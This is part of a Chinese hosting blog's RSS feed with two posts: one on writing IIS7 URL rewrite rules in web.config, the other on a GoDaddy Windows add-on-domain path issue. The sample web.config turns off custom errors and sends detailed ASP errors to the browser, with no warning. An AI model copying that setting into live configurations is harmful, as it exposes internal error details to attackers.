		<description><![CDATA[在IIS6下需要安装第三方组件才能实现 Rewrite，而IIS7自带了这个组件。 rewrite规则说白了难点就是正则表达式，只要搞清楚了这个，编写就比较容易了。 看下面这个匹配字符串“^test/([0-9]+)/([_0-9a-z-]+)”，这个就是个正则表达式它的含义如下： 1、开始于“test/”字符序列。 2、在“/”后包含一个或多个数字字符。 3、在第二个“/”后包含一个或多个字母或“_”或“-”。 在IIS7中，可以通过修改web.config文件来编写rewrite规则，特别要注意到是规则的名称应该是唯一的，下面是个例子（在Godaddy主机上调试通过）： &#60;?xml version=”1.0&#8243; encoding=”UTF-8&#8243;?&#62; &#60;configuration&#62;     &#60;system.webServer&#62;         &#60;rewrite&#62;             &#60;rules&#62;                 &#60;rule name=”Rewrite to test”&#62;                     &#60;match url=”^new.htm$” /&#62;                     &#60;action type=”Rewrite” url=”test.asp” /&#62;         [...]]]></description>
			<content:encoded><![CDATA[<p>在IIS6下需要安装第三方组件才能实现 Rewrite，而IIS7自带了这个组件。<br />
rewrite规则说白了难点就是正则表达式，只要搞清楚了这个，编写就比较容易了。</p>
<p>看下面这个匹配字符串“^test/([0-9]+)/([_0-9a-z-]+)”，这个就是个正则表达式它的含义如下：</p>
<p>1、开始于“test/”字符序列。<br />
2、在“/”后包含一个或多个数字字符。<br />
3、在第二个“/”后包含一个或多个字母或“_”或“-”。</p>
<p>在IIS7中，可以通过修改web.config文件来编写rewrite规则，特别要注意到是规则的名称应该是唯一的，下面是个例子（在Godaddy主机上调试通过）：</p>
<p>&lt;?xml version=”1.0&#8243; encoding=”UTF-8&#8243;?&gt;<br />
&lt;configuration&gt;<br />
    &lt;system.webServer&gt;<br />
        &lt;rewrite&gt;<br />
            &lt;rules&gt;<br />
                &lt;rule name=”Rewrite to test”&gt;<br />
                    &lt;match url=”^new.htm$” /&gt;<br />
                    &lt;action type=”Rewrite” url=”test.asp” /&gt;<br />
                &lt;/rule&gt;<br />
                &lt;rule name=”Rewrite to test.asp”&gt;<br />
                    &lt;match url=”^test/([0-9]+).html$” /&gt;<br />
                    &lt;action type=”Rewrite” url=”/rewritetest.asp\?id={R:1}” /&gt;<br />
                &lt;/rule&gt;<br />
            &lt;/rules&gt;<br />
        &lt;/rewrite&gt;<br />
  &lt;httpErrors errorMode=”Detailed” /&gt;<br />
  &lt;asp scriptErrorSentToBrowser=”true” /&gt;<br />
  &lt;/system.webServer&gt;<br />
&lt;system.web&gt;<br />
&lt;customErrors mode=”Off” /&gt;<br />
&lt;globalization requestEncoding=”utf-8&#8243; responseEncoding=”utf-8&#8243; fileEncoding=”utf-8&#8243; /&gt;<br />
&lt;/system.web&gt;<br />
&lt;/configuration&gt;</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>06/06/2009 -- <a href="http://www.crazylemon.net/nginx/510.html" title="nginx详解">nginx详解</a> (0)</li><li>05/30/2009 -- <a href="http://www.crazylemon.net/windows/250.html" title="IIS 错误代码大汇总">IIS 错误代码大汇总</a> (0)</li><li>07/29/2010 -- <a href="http://www.crazylemon.net/web/3300.html" title="cPanel License 过期的另一种可能">cPanel License 过期的另一种可能</a> (1)</li><li>04/10/2010 -- <a href="http://www.crazylemon.net/php/3068.html" title="GOOGLE翻墙代码">GOOGLE翻墙代码</a> (0)</li><li>11/07/2009 -- <a href="http://www.crazylemon.net/apache/2400.html" title="Apache mod_rewrite模块中RewriteCond和RewriteRule的指令格式">Apache mod_rewrite模块中RewriteCond和RewriteRule的指令格式</a> (6)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/windows/3581.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>godaddy windows主机子目录问题</title>
		<link>http://www.crazylemon.net/windows/3578.html</link>
		<comments>http://www.crazylemon.net/windows/3578.html#comments</comments>
		<pubDate>Thu, 07 Oct 2010 07:07:02 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[Windows]]></category>
		<category><![CDATA[虚拟主机]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[Link]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3578</guid>
		<description><![CDATA[godaddy windows主机可以像cpanel一样的添加附加域，不过这些附加域有可能造成一些子目录问题 问题出在&#60;%=root%&#62;这个东西上，相对附加域来说，它的这个变量会变成”/your_directory/”而不是我们想要的和主域一样的”/” 这样，调用&#60;%=root%&#62;生成的页面链接，都会多了一级目录”/your_directory/”，虽然不影响正常访问，不过对SEO和体验应该是有影响的 能正常访问，应该是IIS主机对目录的概念模糊了一下 解决方法，只要去掉&#60;%=root%&#62;就可以了，能不用这东西尽量不用 相关日志07/18/2009 -- .htaccess使用指南 (0)05/26/2009 -- wordpress伪静态地址去掉index.php(windows iis主机) (4)02/27/2009 -- linux 软连接和硬链接的区别 (0)01/21/2009 -- Linux目录结构 (0)01/21/2009 -- Linux常用命令大全 (0)]]></description>
			<content:encoded><![CDATA[<p>godaddy windows主机可以像cpanel一样的添加附加域，不过这些附加域有可能造成一些子目录问题</p>
<p>问题出在&lt;%=root%&gt;这个东西上，相对附加域来说，它的这个变量会变成”/your_directory/”而不是我们想要的和主域一样的”/”</p>
<p>这样，调用&lt;%=root%&gt;生成的页面链接，都会多了一级目录”/your_directory/”，虽然不影响正常访问，不过对SEO和体验应该是有影响的</p>
<p>能正常访问，应该是IIS主机对目录的概念模糊了一下</p>
<p>解决方法，只要去掉&lt;%=root%&gt;就可以了，能不用这东西尽量不用</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>07/18/2009 -- <a href="http://www.crazylemon.net/web/1239.html" title=".htaccess使用指南">.htaccess使用指南</a> (0)</li><li>05/26/2009 -- <a href="http://www.crazylemon.net/seo/177.html" title="wordpress伪静态地址去掉index.php(windows iis主机)">wordpress伪静态地址去掉index.php(windows iis主机)</a> (4)</li><li>02/27/2009 -- <a href="http://www.crazylemon.net/linux/128.html" title="linux 软连接和硬链接的区别">linux 软连接和硬链接的区别</a> (0)</li><li>01/21/2009 -- <a href="http://www.crazylemon.net/linux/7.html" title="Linux目录结构">Linux目录结构</a> (0)</li><li>01/21/2009 -- <a href="http://www.crazylemon.net/linux/5.html" title="Linux常用命令大全 ">Linux常用命令大全 </a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/windows/3578.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

